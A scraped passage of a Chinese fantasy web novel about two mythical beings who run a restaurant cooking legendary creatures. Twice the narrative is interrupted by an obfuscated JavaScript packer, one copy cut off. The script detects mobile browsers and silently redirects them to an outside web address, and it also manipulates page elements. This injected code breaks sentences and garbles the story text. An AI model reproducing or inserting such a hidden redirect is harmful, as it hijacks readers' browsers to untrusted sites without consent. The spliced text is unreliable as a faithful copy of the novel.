陆压连忙喊停:“够了够了大王!” 大王,收收神通吧! 陆压被泡在冷水里泡了半天,好不容易把自己拔起来,他低眉拧了拧衣摆,身边凑过一个人。 孔宣趴在他的肩上,用一种非常专注的目光盯着他。 盯ing 陆压挑眉:? “是不是有人欺负你?那个要你上班的狐狸精!”孔宣脑子灵活一瞬,很快就物色了好几个人选。 都是欺负他们家陆鸦鸦的。 孔宣的气息近在咫尺,陆压耳垂微红,反应了一下才意识到此狐狸精非彼狐狸精。 “……没有。” 其实他也不算被欺负,于陆压而言,很多不在明面上的打压并不令人难受,站上高位后反而身边都是善意。 无人敢再提他到底混了什么神魔的血。 何况如玉先生所言,他现在抽身反而能明哲保身,背后的人反而帮了他。 陆压明白这些,他垂下眸,无声思考片刻:“我只是觉得,与其一方压到一方,齐头并进的和平才是珍惜物品。” 或许是妖管局这些年的思想道德教育实在出色。 不论妖管局最初的、现在的目的是什么,它从某种意义上来说促成了这件事发生。 人与妖和平共处。 可是现在,人与妖的关系会走向何方呢? 陆压低下头,将湿透的衣服从身上脱下,健壮的身躯绷紧一瞬,紧绷的线条似乎藏匿着难掩的爆发力。 他将上衣搭在架子上,推着孔宣往外走。 他转动着瞳仁,隔着镜子看了自己一眼,从镜子中看到了身上越加狰狞可怖的妖纹。 补充足够的灵气,妖纹自然生长,蔓延过背部的皮肉,隐约爬上肩膀。 这是他最鼎盛时期都不曾拥有过的强盛,他眼角微微缩紧,眼底闪烁几分深思。 玉先生说得对,明哲保身。 他现在就该老老实实开餐厅做生意,然后养一只馋嘴孔雀。 陆压没忍住,薅了一把孔宣的头发:“走吧,我给你炖锅子。” 被摸摸头的孔宣眼睛滚圆,一脸震惊,不可置信地瞪向陆压,凶神恶煞的表情还没扯出来,立刻被陆压的话吸引住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676042|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “锅子?什么锅子?” 他眼巴巴地追问,似乎早已闻到了菜香,馋得直咽口水。 陆压回头看他,他凶巴巴地瞪了陆压一眼,张牙舞爪地威胁:“再摸我头,我叨你嗷!” 叨死你! 孔宣作势龇牙,白花花的牙齿嗒嗒两声,又凶又坏。 陆鸦鸦表示:“知道了大王,下次一定。” 两个人在浴缸里滚了一圈,衣服湿透了,只能挨个去浴室里洗澡顺便换身衣服。 他们下来得晚,大半夜的除了几条虎蛟什么特产都没带下来。 陆压顶着湿头发,蹲在背包前掏了半天,掏出一包蘑菇。 这蘑菇还是他从S1号神山上拔的,有毒没毒的都摘了一点,他挑了没毒的煮汤喝完了,剩下这一些看不出品种的。 陆压思考一瞬,果断求助孔雀大王:“大王,吃这些有可能吃蘑菇中毒吗?” 孔雀大王的声音隐约从浴室传来,隔着朦胧水雾不减傲气:“区区蘑菇,哼~” 懂了,能吃。 陆压把蘑菇装袋,拎起几条虎鲛,扛着锅子去借招待所的厨房。 这个点,招待所的厨房没什么人,只有明亮的灯光还保持着照明。 他将一尾虎鲛捉了出来,剁掉鸟头,用刮刀把鳞片统一刮掉,只剩下薄薄的黑色鱼皮附着在肉上,用刀顺着骨头将鱼身和蛇尾两面剖开,露出里面白嫩嫩的鱼肉。 虎蛟的肉是淡淡的透粉色,透着光似乎能看到里面的血管流动,只是几刀下去,一条长长的鱼身就切成了块状。 洗吧洗吧倒进锅里,撒上盐调味,白胡椒粉去腥提味,花雕酒、姜葱腌制。 这个过程中,陆压将菌菇洗净,用碗碟调了一个独家酱汁。 热锅煎鱼,将鱼皮煎得酥脆金黄,再小煎鱼肉,差不多后盛起。 煎鱼的热油倒入姜片小米椒爆香,将辣味炒出,再倒入菌菇翻炒入味,铺上鱼肉倒上秘制酱汁焖煮。 步骤做到这一步,前台的文员小姐已经坐不住了,在外面抽烟的大厨更是转回厨房,几次在陆压身后转悠,那眼神一瞬一瞬地飘向闷锅。 陆压压着锅盖,活像是闷住了什么勾人心魄的小妖精,勾勾又丢丢的香味霸道地窜了出来。 一瞬间,上下三层楼的人都忍不住走出门,一边闻着这个味道一边默契地挪动步子,将厨房的大门堵得严严实实。 “你们这这么晚还炒菜啊?给我也来一盘。”这是蠢蠢欲动要花钱的。 “是那位先生自己带食材做的,不是我们厨房的。”这是馋得不行还得回答客人的文员小姐。 “靓仔,给我吃一口噻,我做饭这么多年还从没有闻到过这么香的味道。”这是忍不住的厨房大叔。 …… 在一片眼巴巴的期待中,陆压面不改色,以一种非常礼貌的态度一一谢绝。 “厨房我用完了,谢谢。” 他端起自己的小锅,放下钱,在众人望眼欲穿、甚至十分羡慕嫉妒的目光中,迅速逃离现场。 距离被抢只差那么一点点。 只要那个锅再多炖一秒钟! 17.第17章菌菇煲虎蛟3 “哇!” 菌菇煲掀开的一瞬间,一股强劲的香气直击味蕾,如飘飘云雾在鼻尖萦绕勾缠。 蒙蒙烟气中,孔宣一双眼睛直勾勾地盯住小锅,眼底的渴望与痴迷快要化为实质流泻出来了。 他双眼晶亮,眼底浮光掠影般闪过占有与霸道,恨不得直接抱着锅猛猛干饭,看到陆压伸出筷子,那谴责的眼刀咻咻戳他。 等陆压把筷子一转,他又连忙变了表情,一脸幸福地捧着碗眼巴巴地接住。 就这么几次表情变化,完美演绎了怎么从霸道、控诉到幸福、赞美。 孔宣用筷尖夹起一点鱼肉送进嘴里,舌尖撩过的一瞬间,汤汁混着鱼肉的鲜味完美点燃了味蕾,极致的美味只是在唇间这么一抿,足以勾魂摄魄。 他顿了顿,像是奋斗前的战术性修整,很快,一双筷子被他拼出刀光剑影。 他飞快地夹住鱼肉,往嘴里送的同时,一双眼睛如鹰般死死盯住小锅,筷子纷飞闪过,飞速往碗里夹了一块、两块、三块…… 虎蛟肉质紧实,一口咬下,细嫩的鱼肉抿碎成花,吸满了酱汁的鱼肉本身也染上了别样的风味。 不用费牙咀嚼,搭着米饭送入口中,糯糯的鱼肉搭配米香,简直就像是火星撞上地球,足以清空所有不愉快的思绪,只剩下对美味的极致追求。 再夹起里面搭配的菌菇,被撕开的菌菇泡在汤汁里面,被捞起的一瞬间,美味的汤汁还染在上面,然而送进口中,菌菇独有的美味完美盖过了汤汁的加成。 鲜、软、美,三种味道交织在一起,形成了一种足以令任何人倾倒的美味口感。 孔宣忍不住眯起眼睛,狭长的丹凤眼下弯成月牙的形状,他抿着唇,像是舍不得一丝美味从唇齿间逃走,被美味击倒的情绪叠加在一起,手也一刻不停。 陆压端着外送的迷踪蟹和米饭过来,他在旁边剥蟹的功夫,孔宣已经猛猛干了半锅鱼。 陆压真不愧是真男人,面对这样的香气居然面不改色,只是剥蟹的途中时不时朝孔宣看上一眼。 “吃这个。” 剥好的蟹被他推向孔宣,孔宣嘴巴蠕动,抿着贪心的猫猫嘴“嗯嗯”点头,眼睛还看着鱼锅,显然把陆压的话当成耳边风了。 是就算被人拐走,也要跟着锅走的痴迷。 这种极品美味,被陆压的手艺加成一下,香得上下三层楼都要睡不着觉了。 孔宣眉眼弯弯,甚至忍不住举起筷子大呼:“我们回去再捞几条吧!” 陆压无声脱去手套,把一筷子鱼夹到他碗里。 做完这些,陆压终于端起了碗筷。 面对极品美味他看起来无动于衷,然而孔宣只是眨眨眼的功夫,陆压筷子飞快,三两下就将锅里的鱼捞进了碗里,浇上浓浓一勺汤汁。 孔宣当即大怒:“我的鱼!” “不,是我的鱼!”陆压伸出筷子格挡。 两人你来我往,一双筷子比划出刀光剑影,眼中熊熊燃烧着对食物的渴望俨然已经进化成了一场战争。 陆压眸色深沉,面上不动声色,仿佛对美食不感兴趣,只有快出残影的手速流露出一丝锋芒,精准从孔宣筷子底下捞走大鱼。 孔宣只能愤愤不平地叼着蟹腿啃咬,牙齿用力地将蟹壳咀嚼,“嘎吱嘎吱”吐出一堆蟹壳。 迷踪蟹是蒜香味的,蒜末的味道起到了点睛之笔,浸满了汤汁后肥美的蟹腿也变得美味十足,蟹的味道点缀上蒜末,更激得人忍不住一吃再吃。 孔宣嚼了两根空蟹腿泄气,才哼哼唧唧地捞剥好的蟹肉吃。 一边吃一边哼气,坐在地上挪动着位置,故意用冷酷的侧脸对准这个冷漠无情的男人。 大王居然连块鱼都抢不到! 他侧过脸,愤愤不平地咬着蟹肉,腮帮子鼓起一边,可见是十分生气,张扬明媚的眉眼重重拧起,满脸写着“我生气了!”。 陆压本来支着小桌子和孔宣一人一边面对面坐在地上,现在只能看到大王气呼呼的侧脸。 他咀嚼着鱼肉,即便是数次吞咽,胃袋依旧空空,欲求不满,难以忍受。 难以消减的饥饿早在鱼肉剖开的一瞬间就席卷了他的意识,对灵气的渴望早已超脱了某种求生意志,他饥饿难明,欲壑难填。 美味的鱼肉咀嚼在口中,他依旧味如嚼蜡,只想快快吞下,最好连同血肉内脏一起,填补胃袋的空荡。 陆压盯着孔宣的侧脸,因为生气,孔宣刻意朝另一边偏过头。 阴影笼罩着他的大半侧脸,暴露在视线内的轮廓锐利而清俊,眼眶狭长,纤长浓密的睫毛在眼窝投下一小片阴影,眼皮深深折入艳丽的痕迹。 秾丽的黑发垂直散落在他的身侧,隐约透出肩胛骨的痕迹,隐晦而秾烈,就像年岁悠久的美酒,带着令人欲罢不能的特质。 这是一味极端稀少的绝世美色。 陆压的眸色很深,他似乎在走神,只有注意力一直被孔宣牵制,那股难以的饥饿似乎依旧在灼烧着他,他吞咽灵肉,依旧觉得欲壑难填。 然而他也只是克制点垂下眼睛,将一块鱼肉放到孔宣的碗里。 孔宣眼睛一亮,一下子蹦过身子,飞速将鱼肉夹起:“给我的?” 不等陆压回答,他已经面露得意,脸上的欢喜怎么也遮不住,傲气十足地翘起唇角。 “哼哼,算你识相!” 他“嗷呜”一口包住,腮帮子塞得鼓鼓囊囊,像只贪心不足的小鸟,挺着圆鼓鼓的胸脯到处张扬。 嘚瑟极了。 陆压忍不住弯唇:“真贪心啊,大王。” “彼此彼此。” 孔宣哼哼两声,大大方方地将自己手边的蟹肉也分了一半给陆压。 他们一人一口,很快就吃完了这份夜宵。 在收拾东西的时候,孔宣跟巡视般背着手在陆压身后转了一圈,他眼睛滴溜溜地转,小声在陆压耳边蛐蛐。 “鸦,你等着,我回去就给你拉客户!” “凭你的手艺,咱们绝对干得红红火火。” 孔宣拍着胸脯保证,他双眼晶亮,满眼都是信任。 陆压只觉得啼笑皆非:“拉你的小鸟朋友吗?” 孔宣热衷和小鸟抢鸟粮吃,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胡一良顿时泪眼汪汪,如遇人生知己,立马就要拉着陆压的手互诉衷肠:“还得是陆哥了解我!哥!帮帮忙哇!我真的很需要一份外聘合同,能转正的哇哇哇——” 孔宣挥舞着扫把,不讲情面地把这只小狐狸精赶得哇哇叫。 胡一良被他用扫把压制,吓得丢下一个信封袋拔腿就跑。 “这人怎么还乱丢垃圾!”还丢到他们门口! 没素质的狐狸精! 孔宣气呼呼地捡起袋子,袋子里面掉出一张小卡片,小卡片上是孔宣的脸和名字,下面跟着一连串数字,再翻过来下面地址写着:来西省惠民街道国家自然与人口安全管理局来西分局。 孔宣:??? “这是什么?” 施法替身?诅咒道具? 大胆!居然敢暗算孔雀大王! 18、第18章干锅鸵鼠肉 “这是身份证。” 一只手从孔宣手里连带着信封袋一起抽走,修长的手指夹着身份证转了一圈,错开位置露出信封袋上一个工工整整的签字。 是玉先生的名字。 听说是人类的户籍,孔宣连忙探头,压着陆压的手臂,脑袋挤过来,和他头挨着头一起看。 薄薄的一张卡片上面有着名字、身份证号和户籍地址,孔宣看了好一会儿,突然撇了撇嘴。 “不是汴梁?”他可是好不容易弄来的京圈户口呢! 孔宣一想到自己京圈孔雀的身份没了,顿时觉得这张身份证也不是很重要了,他撇开头,已经对身份证丧失了兴趣。 毕竟人类王朝一下子就过了期,要追赶上户籍的保质期可是一件麻烦事。 陆压无奈:“大宋早亡了,大王。” 现在汴梁已经不算京圈了。 他认真地将身份证收好,好脾气地推着孔宣的肩膀往店里走。 他们出去一天,店里还是老样子,倒是陆压转着卡片,突然想到了什么,用电脑登上一个网站。 他尝试着输入孔宣的身份证号,密码是身份证后六位,果然登了上去。 原本是做菜分享的网站瞬间阴阳倒转,变成了一个私密论坛。 陆压打了一个响指,意料之中地挑了下眉。 还没等他退出,一个脑袋瞬间钻了过来。 “这是什么?” 孔宣一把压住某人的手,一双眼睛好奇地看着屏幕,眼底映着星星光芒,像是发现了什么好东西。 他略微翻了一下帖子,越翻越惊讶,俨然被里面的家长里短给迷住了心神。 越看孔雀大王越沉迷,无意识间半个身子压在陆压的身上 陆压头顶微沉,青年靠过来时暖烘烘的怀抱几乎将他缠绕,单薄的衣服也隔不住对方的体温心跳,似乎连呼吸都显得亲密无间。 他眼眸转动,斜斜地往上方看了一眼,隐约看见了青年鲜明漂亮的锁骨,细腻的皮肤看不见丝毫毛孔,只能看到淡淡的青色血管在皮下蜿蜒,像是一尊漂亮温软的玉石,轰然倾倒在他的身上。 足以屠杀任何妖怪的手推不开这温热的身躯,陆压紧急垂下眼帘,深色的睫羽落下一片阴霾,抖动着一起看向屏幕。 #嫁给小叔子后我的死鬼前夫哥爬回来发现我和公爹睡一起了# 陆压:? 炸裂的文字在极速的阅读速度下跃然眼前,陆压有一瞬间失语,他一把捂住孔宣的眼睛,从孔宣不甘的挣扎中意识到了狗血剧情对鸟类的吸引力。 “……大王,我们还是少看一点吧。” 这可看不得啊大王! 天杀的,怎么有人在他眼前带坏无辜孔雀。 “不,我就要看——” 孔宣挣扎着,为狗血发出呐喊:“好看,爱看,多看!” 陆压冷酷无情强力镇压,并且在孔宣面露控诉的时候飞速问责:“大王用人类几百年的科技成果上网就是为了看这种垃圾内容的吗?” 这么一连串义正辞严的问责瞬间把刚苏醒没多久的孔雀大王问住了,他cpu都要干烧了,小鸟脑袋转了又转迷迷瞪瞪地迟疑。 “那……对不起?” 陆压接受道歉,并且挪动鼠标,决心将网页关掉。 孔宣总算转过脑回路,连忙大喊:“且慢!我有一计。” 他一把摁住陆压蠢蠢欲动的手,整个人都快趴桌子上了,捂着鼠标冲陆压眨巴眨巴眼睛。 “我有一计!” 孔宣眼巴巴地看着陆压,陆压不为所动。 他面露可怜,陆压视而不见。 孔雀大王脾气一起,陆压立马低下头,做出洗耳恭听状:“大王请说。” 孔宣哼哼两声,得意地扬起下巴,张扬挑起眉头,朝陆压一阵调皮嘚瑟。 “还不是得听我的!” 孔宣装模作样地摸摸下巴,没忍住得意,一把扑到陆压肩上,撞得陆压身下的椅子一沉,旋转着飘向旁边。 陆压连忙把住桌子,一把又将办公椅拉回了电脑前。 孔雀大王眉飞色舞,还在说他那个网络宣传的点子。 “……人的钱赚不到,妖的钱还赚不到?你想办法把广告往这里一发,保证客似云来嘿嘿~” 孔雀大王越说越兴奋,显然已经看到未来门槛都要被人踏破的样子,一巴掌拍在陆压的肩膀上,张扬地挑起眉头,示意他快快发帖。 ……这种帖子绝对会被屏蔽掉的。 陆压一脸不动声色,当真给他装模作样写了一个帖子,贴了一长条山海经妖怪名单当菜单,备注自备食材/店主自定。 就在他要发出去之时,在一边画画的孔宣也画完最后一笔,他拍了拍陆压的肩膀,示意他把这个也一起发出去。 只见纸上画着类似图腾的画样,一只飞鸟身披日月光彩,怒放翎羽、华美绚丽。 “好了,发吧。” 孔宣一声令下,陆压果断退出账号,熟稔登录上一个小号。 “做事不能太张扬。”他说得言辞凿凿,然而连店铺地址都没打上去。 帖子发出没两秒,一个加载符号在眼前转了一圈,新帖子飘上首页。 孔宣看了又看,特别是帖子里那张手绘的妖纹,更是越看越满意。 “咱就等着赚钱吧!” 孔宣一脸笃定,陆压只觉得好笑。 他刷新界面,果不其然,整个帖子消失在首页被完全屏蔽,可能只存在首页不到一分钟。 陆压顺手关掉电脑,转动椅子带着孔雀大王远离危险网络。 网络上,沉迷各种抓马情节和考公狂热的论坛安静一瞬后,迅速飘上了更多加密帖子。 #那个帖子……是真的假的?# lz:……有没有可能,我是说……有没有可能,不是肯定,只是猜测……或许,我是说或许,真的是嗯嗯…… 58l:不是吧……这种大佬都要出山卖货? 65l:不应该是说这种原初大佬原来还活着吗! 124l:真的什么都可以吗?钱我有,货在哪? …… 361l:啊这……这是能说的吗? 362l:兄弟你还好吗? …… 420l:看来人已经无了,难道…… lz:救……我已经申请删帖了,对不起了兄弟们,我不想进去啊!! …… 无数封帖子悄然消失在网络中。 激起这一连串讨论的一人一妖则在厨房,讨论鸟粮问题。 孔宣试图论证只要是小鸟就会喜欢鸟粮,并且十分热切地邀请陆压尝试。 面色冷淡的青年垂着眼,低头看着桌子上的粒状鸟粮,一时间居然觉得无言以对:“我是说……有没有可能,这东西不太卫生?” 他犹疑片刻,斟酌着陈述为什么不能吃鸟粮。 陆压配的鸟粮一般是自己有空就手搓一点,加的料也明显不是人会吃的东西,混合搅弄成这种粒状物,无论怎么看都不像是人应该吃的。 这话可让孔宣气坏了,他叉着腰怒气冲冲地怒瞪陆压,眼里满是控诉,怒视不识好歹的家伙。 “人,你怎么可以嫌弃自己做的东西!” 就是自己做的才不敢吃。 陆压无言以对,最终架不住他的劝说,尝试着拿起一颗,两个人头挨着头表情各异地看着手里的小颗粒。 作为一个人类,吃妖怪已经很恐怖了,现在真的要吃鸟粮吗? 难道真的要当鸟吗? 投喂鸟,认知鸟,成为鸟? 陆压目光幽幽,最终还是尝试着将它吃进嘴里,稍稍咀嚼,鸟粮化成稀碎的颗粒,沙子般在牙齿间摩挲。 “……有点像麦片。”陆压一边咀嚼一边实话实说。 他在孔宣热切又期待地注视下仔细品味,最终咽了咽喉咙,真切地吞了下去。 并且给出一个评价:“这种东西就算泡牛奶也不太好吃。” 人还是要少吃。 陆压实话实说,他眉眼专注,郑重其事地陈述事实,严肃的面容像是他在测试什么重要产品,并且给出了相当客观的评价。 是别人看他神色,绝不会怀疑的客观。 然而孔雀大王并非客观,他气呼呼地呼出一口气,不死心地看着陆压收缴鸟粮,急得他团团转,发出想要吃粮的声音。 “就吃就吃!不许锁我的粮食!” 孔宣越是叫嚷,陆压锁粮的速度越快。 他利索地拎起袋子一系,丢进柜子里飞速扭动钥匙,钥匙在他手中跳动一瞬,眨眼就不知道滑进哪个口袋里了。 这可把爱好吃粮的孔宣急坏了,连忙扒在男人身上,手脚并用扒拉着要找钥匙。 “我的粮!” 孔宣扑也似地扑到陆压身上,柔软的胸膛直接捂在陆压身上,几乎毫无距离地与他贴在一起,不死心地歪头到处扒拉。 简直就像是一只家养小鸟急呼呼地扒拉主人,陆压被他抱着脑袋锁着腰腹,不可避免地埋首进青年怀里,仔细一嗅,似乎能嗅到孔宣身上温润的竹林清香。 青年像是吃露水吃香草长大的,仔细一嗅,被体温熏出的香气灌入感知,陆压仿佛闻嗅到了什么不得了的东西,下意识往后退了几步,直到后腰抵住桌边才勉强稳住心神。 他一把扣住青年的后腰,试图从温柔香里找回思绪:“孔宣、大王,你先从我身上下来!” 陆压眉眼隐忍,低沉的嗓音不知何时沙哑,低沉沉地灌入耳中,沉稳,沙哑,带着一股酥热,无孔不入地侵袭孔宣的耳朵。 孔宣歪过头,居高临下地打量着他,正要说些什么,突然有一只灰扑扑的雀鸟从他眼前掠过,他眼睛一亮,兴奋地要就地起飞。 简直像是一只猴子,被陆压勾着腰压制,才勉强没让他直接起飞。 饶是如此,孔宣话语里的兴奋依旧不减,他得意地挑起长眉,手指尖夹着一张由小鸟送来的绿叶,神色肆意飞扬。 “我说什么?孔雀大王的人脉来了!” “等着赚大钱吧!陆鸦鸦!” 19、第19章干锅鸵鼠肉2 由雀鸟送来的订货单刻在一张青叶上,上下翻转,一面写着一只妖怪的名字,一面刻着一张妖纹。 ——鸵鼠。 妖纹即阅即燃,很快消失在孔宣指尖。 孔宣长眉斜飞张扬,脸上的得意遮都遮不住,一下子从陆压身上跳下,兴奋地满地转圈圈。 他神采飞扬,更衬得陆压面色冷淡,陆压眼眸偏转,随着他的走动转来转去,他语气狐疑:“哪里来的单?” 是正经炒菜单吗? 孔宣扬眉:“这不是你自己发的帖子吗?” 陆压:? 他不可置信地掏出手机一翻,网络上的帖子早已清得干干净净,他发出的那个帖子没一分钟就被屏蔽了。 是那张妖纹。 陆压很快就猜到了关键。 他思索着那张妖纹的含义,第一次接单的孔雀大王却开始兴奋了。 孔宣连推带拽,推着陆压往厨房走:“快快快!订单!订单!” 这可是他们餐厅第一单! 孔宣扬起下巴,一脸得意地哼哼两声,似乎已经看到了食客震惊享受的表情,满意地连连点头。 被推着进厨房,陆压投降般举手,啼笑皆非地笑了起来:“等等、大王,我们哪来的食材啊!” 要是吃点什么普通兔子竹鼠也就算了,鸵鼠? 去哪找啊! 孔宣双手交叠放在下巴,露出一个深思的表情,紧接着他帅气地打了一个响指,眼睛“biu”地亮起。 陆压:“嗯?” “让客人自备吧!”孔雀大王理所当然地回答。 “……这么做会倒闭吧?” 孔宣想一出是一出的做法完全不符合陆压惯常有条理有准备的原则,他无奈叹气,冷峻的眉眼松懈几分,露出些许无可奈何的好笑。 没办法了。 “让客户退单吧。”陆压做了主意:“以后这类我们改做预约制,不接受点单。” 棠乔山鸵鼠,有着紫色羽毛翅膀,性格怯弱,遇到敌人会用翅膀掩住脸部,哪里有好吃的就会出现在哪里。 目前也不知道去哪里找,就算捉到了,家里的孔雀大王都没吃一口哪舍得给别人吃。 陆压面上不显,心里也不是很在乎这一单两单的生意。 孔宣点着脑袋,眉头纠结地皱起,思考了片刻,若有所思地点点下巴。 “不用退!” 孔雀大王哼哼两声,心里已经打定主意,要让客户自备食材。 他不等陆压反驳,朝他比划了一个ok的手势,表示绝对没问题。 “我会让她自备食材的,绝对没问题!” 孔宣信心十足,他眉眼灵动,挺直肩背格外有信心地拍了拍胸脯,朝陆压狡黠地眨了眨眼。 似乎世界上就没有他解决不了的事。 陆压挑眉,竟真把这件事交给孔宣了,好整以暇地等待他处理后的结果。 他并不将这件事放在心上,照旧收拾了桌椅,只是这一回,被刻意翻过的牌子终于翻到了正确的一面。 正好今天阳光明亮,光影顺着枝叶潜入店内,稀碎地筛成光斑斑驳在洁白的瓷砖,干净整洁的桌椅摆放整齐,在阳光下飘散着浮影的尘光,就连空气都似乎被新闻主播清朗的播音腔染出国泰民安的宁静。 陆压搬着凳子坐在店里看新闻,他倒也不无聊,状似看电视的同时,视线忍不住飘到柜台边。 长发的青年倚着柜台,利落的长裤衬得青年身高腿长,他斜身倚靠,稀碎的阳光在他脚边停驻,他没站进光里却像是被阳光笼罩,衔接上这片刻阳光。 他垂着眼睛,指尖停留几只小鸟,憨圆小巧的鸟儿在他指尖蹦跳,他偏过头,好脾气地点点头,轻哄着小声交谈什么。 又会和动物说话,又长得好看。 嗯,看得出他是公主了。 陆压思维不知道跑偏到了哪里,突然有人轻笑出声。 停留在指尖的小鸟突然振翅飞走,孔宣视线上挑,扶着柜台站直了身体,他挑起长眉,语气肆意:“来这么快,你的鸵鼠准备好了吗?” “哒”一声,金属手杖驻地轻敲,抬眼有一位衣着干练的高个女性在店门外停驻。 来人一身利落的拼色衬衫,搭配长长的西装裤,笔直长腿如尖刀伫立,与金属银色手杖树立三足。 她挑起眉,恣意地朝孔宣弯起唇角,不过肩的短发干练地与下颚平行。 来者有一双锐利的眼睛,一双利眼犹如鹰隼,与人对对视间仿佛能直直看透人的内心,如彩色琉璃般尖锐透亮。 她眉眼弯弯似月牙,唇角上挑似弯刀,说话毫不留情:“哪有让客人准备食材的,孔宣,你还是这么任性妄为。” 孔宣轻哼:“不及你厉害,毕方,本来就只有一只腿,怎么这么久不见一条都没了,还长了两根假腿?” 两人的目光犹如刀光剑影,在短暂地互怼之后,萧云鬓看向走出门的陆压。 陆压推开门,与萧云鬓那双彩碧般的琉璃眼对视:“萧老师。” 萧云鬓朝孔宣扬眉,她伸出手,借着金属手杖和陆压的搀扶走进了店里,每走一步,藏在裤腿下的两只金属腿发出非常轻微的“咔哒”声。 “鸵鼠在我车里,小陆压,你应该还记得我的车牌。”面对自己的学生,萧云鬓偏过头,语气含笑,漫不经心地把陆压支走。 陆压看了孔宣一眼,孔宣朝他比了个没问题的手势,他才拿着钥匙出门。 他一走,孔宣装模作样的笑容消失不见:“他怎么是你的学生?” 他偏过头,忍不住撇了下嘴,看起来有些不高兴。 萧云鬓敲了敲自己的裤管里空荡荡的两根金属骨架,她转过头,那双琉璃般的瞳孔映着万千华彩,她利落干练雷厉风行,透着军队出身的强大气场。 “我在妖管局组织的训练营帮忙训练小孩子,他只是其中一个。” “孔宣。”她直直与孔宣对视,手拎着裤腿往上一带,只露出两根金属骨架。 与旁边的金属手杖搭在一起,活像是三根长腿。 “有人拿走了我的腿,你得帮我。” 她语气笃定,知道孔宣可以做到。 孔宣挑了下眉,好整以暇地环抱胳膊:“你想让我帮你做什么?” 同属鸟类神兽,不同于其他神兽之间淡漠的人际关系,鸟类神兽之间反而拥有一种家族氏的亲近。 孔宣自视甚高、目空一切,参加神兽聚会总是站在最高的枝头遗世独立,却不代表他会对同伴的伤病视而不见。 萧云鬓语气淡淡:“一百三十年前,我与一只外国妖怪打赌,将腿输给了它。” “不必生气,我虽然将腿输给了它,但是它也答应不再入侵国界,一条腿换数万人的性命,这很值得。” 萧云鬓的眼睛依旧漂亮,她曾是一只自由翱翔的火鸟,在大荒中与孔宣擦肩而过,千万年过去,那双玲珑剔透的眼睛依旧如琉璃一般绚丽。 她语气笃定:“孔宣,我要一只无损兽。” 不是什么鸵鼠,而是一只来自千万年前的治愈神兽。 无损兽类如太岁,割一块长一块,生活在千万年前的南大荒中,它的肉可以治死人肉白骨,当然也可以让一只失去腿的神兽重修完整。 有很多东西是凭钱得不到的,孔宣将自己的部分妖纹上传,自然不可能只做点吃饭的买卖。 孔宣只是略微思考了两秒:“我要一百万。” “这么多吗?虽然妖管局给我开的工资不少……不过卖了房应该就够了。” 萧云鬓只是略微思索了片刻,很快就答应下来:“成交。” 她伸出手,孔宣一巴掌拍开:“别告诉陆压。” 萧云鬓迟疑了一瞬,她似乎有点不太能理解:“……我不太明白,你在这里干什么?你是来找……?” 她的话还没说完,“吱吱”的尖叫声走了进来。 陆压提着一个笼子走进来,逆着光大片的阴影入侵屋内,他低着头,粗暴地从笼子里捉出一只拥有紫色翅膀饿鼠类。 “干锅还是红烧?” 他捉着这只大老鼠,鸵鼠被它单手掐着脖子,“吱吱”发出尖叫,背上的翅膀开了又合,不断来回扇动。 萧云鬓比划了一下厨房的位置,示意大厨快快下锅:“干锅,谢谢。” 孔宣蹭过去,手指比划了一下这只鸵鼠的大小,肥美的肉几乎要从陆压的手指缝里溢出来了。 他忍不住咽了下口水,眼泪就要顺着嘴角流出来了。 “怎么没多带一只。” 萧云鬓:“……大王,我腿没了!” 自备食材就算了,还要多带一只,上哪找这种大冤种? 孔宣理直气壮叉腰:“你又不是真想吃。” 想也知道只是试探到底是不是他。 毕竟孔宣也是消失了好多年了,他上一次出现,那时的国都还是汴梁。 “我还以为你早死了呢。” 萧云鬓熟练地从筷子桶里抽出筷子,大声点菜:“再来两碗米饭。” 顺手的,把拆开的餐具递给了孔宣。 “吃吧大王。” “多吃一点,以后乱起来,一饭之恩,记得捞我,特别是你家那个混世魔王。” 孔宣:??? “你在说什么东西?” 20、第20章干锅鸵鼠肉3 谁家混世大魔王? 孔宣一脸莫名,脑子空转了一圈,细数一下,全家就剩下他一个哪里来的什么混世大魔王。 他与萧云鬓对面而坐,彼此脸上的神态看得一清二楚,萧云鬓敲了敲金属腿,“咚咚”两声,表示她在思考。 “你在说什么?”萧云鬓困惑蹙眉,她偏了下头,发尾扫过她的下颚,她偏过耳朵,似乎听到了什么不能理解的东西。 “你出来不是来找……” “滋——” 她说话的声音一顿,热锅下油的滋滋声在不大的小店响起,一股浓郁的香气飘散出来。 萧云鬓不可置信地瞪圆了眼睛,猛地扭头看向厨房,难以克制地深吸了几口香气。 这是什么!!! 好香好香好香好香好香好香好香—— 却说陆压拎着手中带翅膀的鸵鼠进了厨房,他神色冷淡,一双锐利的眼睛上下打量一翻,无声从刀具架上抽出一把长刀。 刀身擦过刀具架发出“滋啦”一声,冷厉的白光映射鸵鼠的眼睛,它在陆压手下疯狂挣扎,发出“吱吱吱”的求饶声。 然而陆压面色冷冽,手起刀落,一只鼠鼠就这么在他手下尸首分离。 陆压低着头,围裙的带子掐住他劲瘦有力的腰腹,几滴血液滴在桌面的血珠被他顺手擦去,他漫不经心地拧开水龙头,将满池脏污的血水洗去。 他架起喷枪,用铁架子将鸵鼠穿起,剥了皮直接吊在空中,用喷枪直接烘烤上色。 一只喷枪在他手中拿得很稳,他单手拿着按住开关,灼热的火焰瞬间从喷枪射出,滋滋的热油顺着焦灼的外表滴滴往下掉落。 陆压单手拧开抽油烟机,任由抽油烟机轰轰作响,不忘回应萧云鬓“来两碗饭”的要求。 小小一只鸵鼠大火烘烤到差不多脱水的地步,他将一小只拎下来放在案板上,拿菜刀将整只鸵鼠一分数份,已经看不出原来的形状。 